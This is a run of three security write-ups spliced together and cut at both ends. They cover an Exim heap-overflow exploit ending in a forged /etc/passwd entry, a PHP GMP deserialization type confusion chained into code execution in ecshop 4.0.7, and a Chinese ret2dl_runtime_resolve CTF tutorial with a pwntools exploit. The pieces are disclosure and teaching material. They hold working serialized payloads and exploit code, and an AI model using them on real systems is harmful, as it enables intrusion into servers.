[0x000055ee971d9600 30 c6 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00 0....U... ......]
Chunk(addr=0x55ee971db620, size=0x1010, flags=PREV_INUSE)
[0x000055ee971db620 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb]
Chunk(addr=0x55ee971dc630, size=0x2ff0, flags=PREV_INUSE)
[0x000055ee971dc630 20 f6 1d 97 ee 55 00 00 d8 2f 00 00 00 00 00 00 ....U.../......]
Chunk(addr=0x55ee971df620, size=0x2020, flags=PREV_INUSE)
[0x000055ee971df620 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x55ee971e1640, size=0x2020, flags=PREV_INUSE)
[0x000055ee971e1640 00 96 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00 .....U... ......]
Chunk(addr=0x55ee971e3660, size=0x1e9b0, flags=PREV_INUSE) ← top chunk
gef➤ p current_block[0]
$1 = (storeblock *) 0x55ee971df620
gef➤ x/s 0x55ee971e1640 + 0x19
0x55ee971e1659: "16aJgy-baaaad-Pb"
最后，SNI必须计算填充剩余空闲chunk以及覆写message
ID。所有的过程可以在这里给出[exgen.py](https://github.com/synacktiv/Exim-CVE-2019-15846/blob/master/exgen.py).。
糟糕的是，覆写message ID时也会覆写对应的消息头。因此会破坏它。为了能够百分百利用，这个问题也需要解决存储块和存储重置。`store_reset`
成功利用时，Exim邮件传输代理会写入以目标ID命名的日志文件。
/* Open the message log file if we are using them. This records details of
deliveries, deferments, and failures for the benefit of the mail administrator.
The log is not used by Exim itself to track the progress of a message; that is
done by rewriting the header spool file. */
if (message_logs)
{
uschar * fname = spool_fname(US"msglog", message_subdir, id, US"");
uschar * error;
int fd;
if ((fd = open_msglog_file(fname, SPOOL_MODE, &error)) < 0)
{
log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't %s message log %s: %s", error,
fname, strerror(errno));
return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */
}
/* Make a C stream out of it. */
if (!(message_log = fdopen(fd, "a")))
{
log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't fdopen message log %s: %s",
fname, strerror(errno));
return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */
}
}
当messa被成功发送给日志时，日志文件会被写入到目的地址中区。
if (!addr->parent)
deliver_msglog("%s %s: %s%s succeeded\n", now, addr->address,
driver_name, driver_kind);
else
{
deliver_msglog("%s %s <%s>: %s%s succeeded\n", now, addr->address,
addr->parent->address, driver_name, driver_kind);
child_done(addr, now);
}
这里就可以伪造一个行有效的密码，从而获得对主机的访问。 `/etc/passwd`
最后，Exim邮件传输代理不会链接和重命名日志文件，因为邮件已经被发送给所有的收件人。
## 6、漏洞利用收尾
在这篇文章中，我们看到了需要成功利用堆溢出漏洞所需的Exim基础知识，我们也学会了如何利用两个漏洞。
此外，用于利用漏洞CVE-2018-6789的技术可以应用于利用刚披露CVE-2019-16928，该溢出漏洞是通过发送长命令触发的。文中有提到：`HELO`
如果你有不同的利用方法，欢迎分享，Exim的官网是：[Exim Internet Mailer](https://www.exim.org/)。 | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team
Date: March 31,2020.
Chinese Version: <https://paper.seebug.org/1267>**
This article was originally completed on March 31, 2020. Because it involves
0day utilization, it was reported to the vendor on March 31, 2020, and
released after the 90-day vulnerability disclosure period.
* * *
A few days ago, I accidentally saw a vulnerability report submitted on
Hackerone. In this vulnerability, the vulnerability discoverer proposed a very
interesting use. The author makes use of a type confusion vulnerability of GMP
and cooperates with the corresponding utilization chain to construct a code
execution of mybb. Here we take a look at this vulnerability.
<https://hackerone.com/reports/198734>
Some details of the following article, thanks to the vulnerability discoverer
@taoguangchen for his help.
### GMP type confusion vulnerability
-<https://bugs.php.net/bug.php?id=70513>
#### Vulnerability conditions
* php 5.6.x
* Deserialization entry point
* The trigger point that can trigger `__wakeup` (below php < 5.6.11, you can use the built-in class)
#### Vulnerability details
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
`zend_object_handlers.c`
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
From the snippet in gmp.c, we can roughly understand the original words of
vulnerability discoverer taoguangchen.
Magic methods such as `__wakeup` can cause ZVAL to be modified in memory.
Therefore, an attacker can convert **object to an integer or bool type ZVAL,
then we can access any object stored in the object storage through `Z_OBJ_P`,
which means that any object can be overwritten through `zend_hash_copy`
attributes, which may cause a lot of problems, and can also cause security
problems in certain scenarios.
Perhaps it is impossible to understand the above words only with code
snippets, but we can take a look at the actual test.
First let's look at a test code
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
class b{
var $ryat =1;
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$obj2 = new b;
$obj3 = new stdClass;
$obj3->aa =2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
$obj4 = new stdClass;
var_dump($x);
var_dump($obj);
var_dump($obj2);
var_dump($obj3);
var_dump($obj4);
?>
In the code, I show the environment in many different situations.
Let's see what the result is?
array(1) {
[0]=>
&int(1)
}
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(1)
}
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}
I successfully modified the first declared object.
But what happens if I change the deserialized class to b?
$inner ='s:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i :0;O:1:"b":1:{s:4:"ryat";R:2;}}';
Obviously, it will not affect other class variables
array(1) {
[0]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(b)#5 (1) {
["ryat"]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
*RECURSION*
["num"]=>
string(2) "32"
}
}
["num"]=>
string(2) "32"
}
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#6 (0) {
}
If we add a `__Wakeup` function to class b, then it will produce the same
effect.
But if we set the variable in the wakeup magic method to 2
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 2;
}
}
The results returned can be seen, we successfully modified the second declared
object.
array(1) {
[0]=>
&int(2)
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (4) {
["ryat"]=>
int(1)
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(2)
}
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}
But if we change ryat to 4, then the page will return 500 directly, because we
modified the unallocated object space.
After completing the previous experiments, we can simplify the conditions for
exploiting the vulnerability.
If we have a controllable **deserialization entry** , the target **backend PHP
has a GMP plugin installed** (this plugin is not installed by default in the
original PHP, but some packaging environments will bring it), If we find a
**controllable`__wakeup` magic method**, we can modify the object properties
declared before deserialization and cooperate with the scene to produce actual
security problems.
If the target php version is in 5.6 <= 5.6.11, we can directly use the built-in magic method to trigger this vulnerability.
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval ":1:{s:1:"y";R:2;}}'));
### Real world case
After discussing the GMP type confusion vulnerability, we must discuss how
this vulnerability is used in real scenarios.
Taoguang Chen, the discoverer of the vulnerability, submitted a related
exploit in mybb.
<https://hackerone.com/reports/198734>
Here we do not continue to discuss this vulnerability, but discuss the use in
ecshop from scratch.
#### Vulnerable Environment
* ecshop 4.0.7
* php 5.6.9
#### Deserialization Vulnerability
First we need to find an entry point for deserialization. Here we can search
for `unserialize` globally. Looking at each of them, we can find two
controllable deserialization entries.
One of them is search.php line 45
...
{
$string = base64_decode(trim($_GET['encode']));
if ($string !== false)
{
$string = unserialize($string);
if ($string !== false)
...
This is an entrance to the front desk, but unfortunately, the initialization
file is introduced after deserialization, which also makes us unable to find a
target that can override the properties of class variables, and there is no
way to use it further.
Another one is admin/order.php line 229
/* 取得上一个、下一个订单号 */
if (!empty($_COOKIE['ECSCP']['lastfilter']))
{
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
...
This function of the form page in the background meets our requirements. Not
only can it be controlled, but also urlencode can be used to bypass ecshop's
filtering of global variables.
In this way, we have found a controllable and suitable deserialization entry
point.
#### Find the appropriate class attribute utilization chain
Before looking for a utilization chain, we can use
get_declared_classes()
To determine the class that has been declared when deserializing.
In my local environment, I found 13 classes in addition to the PHP built-in
classes
[129]=>
string(3) "ECS"
[130]=>
string(9) "ecs_error"
[131]=>
string(8) "exchange"
[132]=>
string(9) "cls_mysql"
[133]=>
string(11) "cls_session"
[134]=>
string(12) "cls_template"
[135]=>
string(11) "certificate"
[136]=>
string(6) "oauth2"
[137]=>
string(15) "oauth2_response"
[138]=>
string(14) "oauth2_request"
[139]=>
string(9) "transport"
[140]=>
string(6) "matrix"
[141]=>
string(16) "leancloud_client"
You can also see from the code that multiple library files are imported in the
file header
require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');
Here we mainly focus on init.php, because most common classes of ecshop are
declared in this file.
When looking at the class variables one by one, we can keenly see a special
variable. Due to the special background structure of ecshop, most of the page
content is compiled from templates, and this template class happens to be in
init.php. statement
require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;
Back in order.php, we are looking for methods related to `$smarty`, it is not
difficult to find, mainly concentrated in two methods
...
$smarty->assign('shipping', $shipping);
$smarty->display('print.htm');
...
Here we mainly focus on the display method.
A rough look at the logic of the display method:
Request the corresponding template file
-->
After a series of judgments, the corresponding template files will be compiled accordingly
-->
Output the compiled file address
The more important code will be defined in the function `make_compiled`
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';
...
if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));
if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
}
$source = $this->_eval($source);
}
return $source;
}
When the process reaches this point, we need to find out what our goal is
first?
Re-examining the code of `cls_template.php`, we can find that there are only a
few functions involved in the code execution.
function get_para($val, $type = 1) // Handle call data of insert external functions/functions that need to be included
{
$pa = $this->str_trim($val);
foreach ($pa AS $value)
{
if (strrpos($value, '='))
{
list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));
if ($b{0} == '$')
{
if ($type)
{
eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
}
else
{
$para[$a] = $this->get_val(substr($b, 1));
}
}
else
{
$para[$a] = $b;
}
}
}
return $para;
}
get_para is only called in select, but there is no place to trigger the
select.
Then pop_vars
function pop_vars()
{
$key = array_pop($this->_temp_key);
$val = array_pop($this->_temp_val);
if (!empty($key))
{
eval($key);
}
}
We can control the `$this->_temp_key` variable just in conjunction with GMP,
so as long as we can call this method anywhere in the above process, we can
construct a code execution with variable coverage.
Looking back at the code flow just now, we found such code from the compiled
PHP file
order_info.htm.php
<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
After traversing the form, `pop_vars` will be triggered.
In this way, as long as we control the `_temp_key` attribute that overrides
the `cls_template` variable, we can complete a getshell
#### Final use effect
### Timeline
* 2020.03.31 Find the vulnerability.
* 2020.03.31 Report the vulnerability to the manufacturer, CVE, CNVD, etc.
* 2020.07.08 Announce details after 90-day vulnerability disclosure period.
* * * | 社区文章 |
# 高级ROP ret2dl_runtime 之通杀详解
前言：花了好几天研究这几个类型题，发觉了个通用规律，原来越高级的题目利用起来越容易，因为根本不用画太多时间改exp，直接改几个变量就可以直接打成功。。。所以想写篇文章记录下，以前怕高级rop，理解原理并利用后发觉简单了
## ret2dllruntime 原理
先推荐几个地址学习下
* [ctf-wiki之高级ROP](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop)
* [ctf-wiki之elf文件基本结构](https://ctf-wiki.github.io/ctf-wiki/executable/elf/elf-structure/)
虽然以上不是我的博客，不过这些个大佬帮助了我，给个链接也是应该的。
ctf-wiki那个题目我感觉不够经典，还多了个write函数，单一难以泄露才是最经典的题目，所以我选了这个题目来做示例
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vuln();
return 0;
}
ssize_t vuln()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x100u);
}
很明显的栈溢出
可没有多余的函数可以泄露，这对于我这千年通过leak进行rop的玩家很不友好，因为这道题我做过，虽然当时没做出也没研究，不过以前欠过的债迟早要还的，在国赛就在遇到了它，国赛的时候我找到了别人的exp，0ctf-2018的题目一把梭了。在赛后好好研究了一下这个题目，发觉这类题型就是改改exp就可以通杀，发觉很舒服做这种题。好了，话不多说，开始正文：
没有leak，如何做呢，ctf-wiki高级ROP了解一波
## 原理
要想弄懂这个 ROP 利用技巧，需要首先理解 ELF 文件的基本结构，以及动态链接的基本过程，请参考 executable 中 elf
对应的介绍。这里我只给出相应的利用方式。
我们知道在 linux 中是利用_dl_runtime_resolve(link_map_obj, reloc_index)
来对动态链接的函数进行重定位的。那么如果我们可以控制相应的参数以及其对应地址的内容是不是就可以控制解析的函数了呢？答案是肯定的。具体利用方式如下
控制程序执行 dl_resolve 函数
给定 Link_map 以及 index 两个参数。
当然我们可以直接给定 plt0 对应的汇编代码，这时，我们就只需要一个 index 就足够了。
控制 index 的大小，以便于指向自己所控制的区域，从而伪造一个指定的重定位表项。
伪造重定位表项，使得重定位表项所指的符号也在自己可以控制的范围内。
伪造符号内容，使得符号对应的名称也在自己可以控制的范围内。
此外，这个攻击成功的很必要的条件
dl_resolve 函数不会检查对应的符号是否越界，它只会根据我们所给定的数据来执行。
dl_resolve 函数最后的解析根本上依赖于所给定的字符串。
注意：
符号版本信息
最好使得 ndx = VERSYM[(reloc->r_info) >> 8] 的值为 0，以便于防止找不到的情况。
重定位表项
r_offset 必须是可写的，因为当解析完函数后，必须把相应函数的地址填入到对应的地址。
**相信各位看官在看到这里的时候跟我一样懵，因为我也不了解具体原理当时，看着这段话不知道什么意思，所以我就先去了解elf的基本结构以及动态链接的基本过程（PS:我也没完整看完，枯燥乏味，通过调试一点点理解过程的)**
这里先说下动态延迟绑定机制：
就是一开始把所有的函数都链接实际是一种浪费，因此采用延迟绑定技术,核心是第一次用的时候进行绑定，没有用到不进行绑定，这样用来加快程序的运行速度
所以第一次调用的这个函数的时候，程序会去查表，然后利用_dl_runtime_resolve将正确的地址写入got.plt表里，下次查询的时候就直接跳到正确的地址处
先看下调试部分吧
► 0x8048390 <read@plt> jmp dword ptr [[email protected]] <0x804a00c>
0x8048396 <read@plt+6> push 0
0x804839b <read@plt+11> jmp 0x8048380
↓
0x8048380 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
0x8048386 jmp dword ptr [0x804a008] <0xf7fe96c0>
↓
0xf7fe96c0 <_dl_runtime_resolve> push eax
0xf7fe96c1 <_dl_runtime_resolve+1> push ecx
0xf7fe96c2 <_dl_runtime_resolve+2> push edx
0xf7fe96c3 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
0xf7fe96c7 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
0xf7fe96cb <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe3ac0>
这是我在read@plt处下断，
* 你看他第一次调用的时候，[email protected]里存的是下一条指令的地址，也就是0x8048396，
* 然后将read函数在表里的偏移push进去，这里push的是0，
* 然后跳到plt0里，将linkmap push进去，然后跳到_dl_runtime_resolve进行解析，解析后的地址将会写入到第一次的[email protected]表里，然后将程序的控制权交给解析出来的地址指向的函数
**而我们的攻击方式就是伪造所谓的表，然后将我们伪造表的偏移当参数传入，这样的话，他就会解析到我们想需要的函数了**
这只是通俗易懂的说法，实际伪造这个表起来不是那么简单，除非你理解了整个过程
我将ctf-wiki上的内容摘抄过来了，帮助你们理解，他是进行了完整的解释，我感觉太长了，不过我理解过后看的话，看懂了。。。
## elf部分的关键点（来自ctf-wiki)
动态链接器和程序按照如下方式解析过程链接表和全局偏移表的符号引用。
1. 当第一次建立程序的内存镜像时，动态链接器将全局偏移表的第二个和第三个项设置为特殊的值，下面的步骤会仔细解释这些数值。
2. 如果过程链接表是位置独立的话，那么 GOT 表的地址必须在 ebx 寄存器中。每一个进程镜像中的共享目标文件都有独立的 PLT 表，并且程序只在同一个目标文件将控制流交给 PLT 表项。因此，调用函数负责在调用 PLT 表项之前，将全局偏移表的基地址设置为寄存器中。
3. 这里举个例子，假设程序调用了 name1，它将控制权交给了 lable .PLT1。
4. 那么，第一条指令将会跳转到全局偏移表中 name1 的地址。初始时，全局偏移表中包含 PLT 中下一条 pushl 指令的地址，并不是 name1 的实际地址。
5. 因此，程序将一个重定向偏移（reloc_index）压到栈上。重定位偏移是 32 位的，并且是非负的数值。此外，重定位表项的类型为 R_386_JMP_SLOT，并且它将会说明在之前 jmp 指令中使用的全局偏移表项在 GOT 表中的偏移。重定位表项也包含了一个符号表索引，因此告诉动态链接器什么符号目前正在被引用。在这个例子中，就是 name1 了。
6. 在压入重定位偏移后，程序会跳转到 .PLT0，这是过程链接表的第一个表项。pushl 指令将 GOT 表的第二个表项 (got_plus_4 或者 4(%ebx)，当前 ELF 对象的信息) 压到栈上，然后给动态链接器一个识别信息。此后，程序会跳转到第三个全局偏移表项 (got_plus_8 或者 8(%ebx)，指向动态装载器中_dl_runtime_resolve 函数的指针) 处，这将会将程序流交给动态链接器。
7. 当动态链接器接收到控制权后，他将会进行出栈操作，查看重定位表项，找到对应的符号的值，将 name1 的地址存储在全局偏移表项中，然后将控制权交给目的地址。
8. 过程链接表执行之后，程序的控制权将会直接交给 name1 函数，而且此后再也不会调用动态链接器来解析这个函数。也就是说，在 .PLT1 处的 jmp 指令将会直接跳转到 name1 处，而不是再次执行 pushl 指令。
在 Linux 的设计中，第一个之后的 PLT 条目进行了如下的函数调用
_dl_runtime_resolve(link_map_obj, reloc_index)
这里以 32 位为例（64 位类似），具体的过程如下
* 根据 reloc_index 计算相应的重定位表项：Elf32_Rel *reloc = JMPREL + index
* 根据得到的重定位表项的 r_info 得到对应的符号在符号表中的索引：(reloc->r_info)>>8
* 继而得到对应的符号：Elf32_Sym *sym = &SYMTAB[((reloc->r_info)>>8)]
* 判断符号的类型是否为 R_386_JMP_SLOT：assert (((reloc->r_info)&0xff) == 0x7 )
* if ((ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
* if (sym->st_other) & 3 == 0 )
* 判断该符号是否已经解析过了，如果解析过，就不会再去执行 lookup 操作。
* 得到符号的版本，如果 ndx 为 0 的话，会直接使用 local symbol。
* * uint16_t ndx = VERSYM[(reloc->r_info) >> 8]
* * r_found_version *version = &l->l_version[ndx]
* 根据 name 来寻找相应函数在库中的地址。
* name = STRTAB + sym->st_name
## 解析
刚刚我说了攻击方式，接下来我们就要伪造偏移跟表了
简单来说，ret2dllruntime这个攻击方式他要利用三个表:
1. .rel.plt
2. .dynsym
3. .dynstr
4. 他先从.rel.plt表里找到某个函数在dynsym里的偏移
5. 然后从.dynsym符号表里找寻该函数在.dynstr表里的偏移
6. 在从.dynstr表里找到具体的函数对应的字符串，然后将这个字符串解析成函数
所以如果我们可以找到这个表，改掉这个表里的字符串，按理说也是可以进行调用成功的
贴张图，这是整体结构部分图
### 第一个表是.rel.plt也就是ELF REL Relocation Table
这个表里有个结构体，存储了写入位置和具体偏移量
LOAD:0804831C ; ELF REL Relocation Table
LOAD:0804831C Elf32_Rel <8049FFCh, 306h> ; R_386_GLOB_DAT __gmon_start__
LOAD:08048324 Elf32_Rel <804A040h, 705h> ; R_386_COPY stderr
LOAD:0804832C Elf32_Rel <804A060h, 905h> ; R_386_COPY stdin
LOAD:08048334 Elf32_Rel <804A064h, 605h> ; R_386_COPY stdout
LOAD:0804833C ; ELF JMPREL Relocation Table
LOAD:0804833C Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read
LOAD:08048344 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT alarm
LOAD:0804834C Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048354 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT setvbuf
LOAD:08048354 LOAD ends
* 前面是写入的位置，而107代表的是偏移为1的导入函数，07代表的是导入函数的意思，所以你在exp里会看到<<8位或者>>8位这种操作，就是去掉07或者增加07
typedef struct{
Elf32_Addr r_offset;
Elf32_Word r_info;
}Elf32_Rel;
* 他实际是个结构体，每个都由r_offset和r_info组成，r_info存的也是偏移，是在dynsym表里的偏移,例如read，他在这里是107h就是偏移为1的导入函数，从ELF Symbol Table里找
### 第二个表是.dynsym也就是ELF Symbol Table
LOAD:080481DC ; ELF Symbol Table
LOAD:080481DC Elf32_Sym <0>
LOAD:080481EC Elf32_Sym <offset aRead - offset byte_804827C, 0, 0, 12h, 0, 0> ; "read"
LOAD:080481FC Elf32_Sym <offset aAlarm - offset byte_804827C, 0, 0, 12h, 0, 0> ; "alarm"
LOAD:0804820C Elf32_Sym <offset aGmonStart - offset byte_804827C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:0804821C Elf32_Sym <offset aLibcStartMain - offset byte_804827C, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:0804821C 0>
LOAD:0804822C Elf32_Sym <offset aSetvbuf - offset byte_804827C, 0, 0, 12h, 0, 0> ; "setvbuf"
LOAD:0804823C Elf32_Sym <offset aStdout - offset byte_804827C, \ ; "stdout"
LOAD:0804823C offset stdout@@GLIBC_2_0, 4, 11h, 0, 1Ah>
LOAD:0804824C Elf32_Sym <offset aStderr - offset byte_804827C, \ ; "stderr"
LOAD:0804824C offset stderr@@GLIBC_2_0, 4, 11h, 0, 1Ah>
LOAD:0804825C Elf32_Sym <offset aIoStdinUsed - offset byte_804827C, \ ; "_IO_stdin_used"
LOAD:0804825C offset _IO_stdin_used, 4, 11h, 0, 10h>
LOAD:0804826C Elf32_Sym <offset aStdin - offset byte_804827C, \ ; "stdin"
LOAD:0804826C offset stdin@@GLIBC_2_0, 4, 11h, 0, 1Ah>
在这个表里查到也就是第一个函数，没毛病，其实这个表每个项也是一个结构体
typedef struct
{
Elf32_Word st_name; //符号名，是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言，它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言，其他字段都是0
我们所以要伪造的还有st_name，让他去我们的.dynstr表里查找，查找到我们需要的
### 第三个表就是.dynstr了，也就是ELF String Table
LOAD:0804827C ; ELF String Table
LOAD:0804827C byte_804827C db 0 ; DATA XREF: LOAD:080481EC↑o
LOAD:0804827C ; LOAD:080481FC↑o ...
LOAD:0804827D aLibcSo6 db 'libc.so.6',0
LOAD:08048287 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804825C↑o
LOAD:08048296 aStdin db 'stdin',0 ; DATA XREF: LOAD:0804826C↑o
LOAD:0804829C aRead db 'read',0 ; DATA XREF: LOAD:080481EC↑o
LOAD:080482A1 aStdout db 'stdout',0 ; DATA XREF: LOAD:0804823C↑o
LOAD:080482A8 aStderr db 'stderr',0 ; DATA XREF: LOAD:0804824C↑o
LOAD:080482AF aAlarm db 'alarm',0 ; DATA XREF: LOAD:080481FC↑o
LOAD:080482B5 aSetvbuf db 'setvbuf',0 ; DATA XREF: LOAD:0804822C↑o
LOAD:080482BD aLibcStartMain db '__libc_start_main',0
LOAD:080482BD ; DATA XREF: LOAD:0804821C↑o
LOAD:080482CF aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:0804820C↑o
LOAD:080482DE aGlibc20 db 'GLIBC_2.0',0
LOAD:080482E8 dd 20000h, 2, 2 dup(20002h), 20001h, 10001h, 1, 10h, 0
LOAD:0804830C dd 0D696910h, 20000h, 62h, 0
这个没啥好解释的就是一串字符串，找到这个后，_dl_lookup就会拿这个字符串去查找对应的函数，然后将函数地址取回来写入got.plt表，最后将程序控制权交给该函数
**注意：这里的都是相对偏移地址，没有绝对地址，切记切记，不然等会构造exp的时候你会一脸懵逼的**
## exp详解
我将exp分段进行讲述吧，从exp里调试或许能更清晰的解释这个过程
#!/usr/bin/env python
# coding=utf-8
from pwn import *
offset = 44
elf = ELF('./pwn')
io = process('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw('a'*offset)
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
#gdb.attach(io)
io.sendline(rop.chain())
这段只是进行栈的迁移，这个部分的知识自行到ctf-wiki补充，或者找些题目练下
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
**这是初始化取那三个表地址，plt0是我刚解释过的带linkmap然后jmp到_dl_runtime_resolve的，没有他我们无法进行解析**
我将上述代码分为两个部分，一部分为取地址初始化，第二部分才为构造，开头先取各个表的地址，至于为什么要.header.sh_addr这里是因为e这是elf的section
header部分，他表里有个字段叫sh_addr
typedef struct {
ELF32_Word sh_name;
ELF32_Word sh_type;
ELF32_Word sh_flags;
ELF32_Addr sh_addr;
ELF32_Off sh_offset;
ELF32_Word sh_size;
ELF32_Word sh_link;
ELF32_Word sh_info;
ELF32_Word sh_addralign;
ELF32_Word sh_entsize;
} Elf32_Shdr;
成员 | 说明
---|---
sh_name | 节名称，是节区头字符串表节区中（Section Header String Table
Section）的索引，因此该字段实际是一个数值。在字符串表中的具体内容是以 NULL 结尾的字符串。
sh_type | 根据节的内容和语义进行分类，具体的类型下面会介绍。
sh_flags | 每一比特代表不同的标志，描述节是否可写，可执行，需要分配内存等属性。
sh_addr | 如果节区将出现在进程的内存映像中，此成员给出节区的第一个字节应该在进程镜像中的位置。否则，此字段为 0。
sh_offset | 给出节区的第一个字节与文件开始处之间的偏移。SHT_NOBITS 类型的节区不占用文件的空间，因此其 sh_offset |
成员给出的是概念性的偏移。
sh_size | 此成员给出节区的字节大小。除非节区的类型是 SHT_NOBITS ，否则该节占用文件中的 sh_size
字节。类型为SHT_NOBITS 的节区长度可能非零，不过却不占用文件中的空间。
sh_link | 此成员给出节区头部表索引链接，其具体的解释依赖于节区类型。
sh_info | 此成员给出附加信息，其解释依赖于节区类型。
sh_addralign | 某些节区的地址需要对齐。例如，如果一个节区有一个 doubleword
类型的变量，那么系统必须保证整个节区按双字对齐。也就是说，$sh_addr % sh_addralign$=0。目前它仅允许为 0，以及 2 的正整数幂数。
0 和 1 表示没有对齐约束。
sh_entsize | 某些节区中存在具有固定大小的表项的表，如符号表。对于这类节区，该成员给出每个表项的字节大小。反之，此成员取值为0。
sh_addr就是取这个地址，取进程镜像中的地址
### 接下来是重点了
* 如果这部分不理解，你就。。。
* 其实还是可以做这道题的，因为这是原理部分内容，完全可以复制黏贴一把梭，不用理解
* 不过做题图个啥，不就是懂这个原理嘛，接下来仔细解释下如何构造
#### 第一部分
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
#对齐
接下来就是真正的构造部分了，我先构造dynsym内容的地址，我将base_stage +
32作为system函数的偏移地址，也就是说，我知道了dynstr的system地址了， **但我这随便取的base_stage + 32
有可能相对于dynsym不是个标准地址**
什么叫标准地址，他的每个结构体都是16个字节，也就是说他的地址都是对齐的，我可能相对于他不是刚好一个对齐的地址，所以我这里需要对齐一下，利用我对齐上面部分的代码就可以进行对齐了。解释下：
假设内存布局是这样的
0x8048a00 11111111 22222222 33333333 44444444 dynsym起始位置
0x8048a10 11111111 22222222 33333333 44444444
0x8048a20 11111111 22222222 33333333 44444444
0x8048a30 11111111 22222222 33333333 44444444
0x8048a40 11111111 22222222 33333333 44444444
0x8048a50 11111111 22222222 33333333 44444444
0x8048a60 11111111 22222222 33333333 44444444
0x8048a70 11111111 22222222 33333333 44444444
0x8048a80 11111111 22222222 33333333 44444444
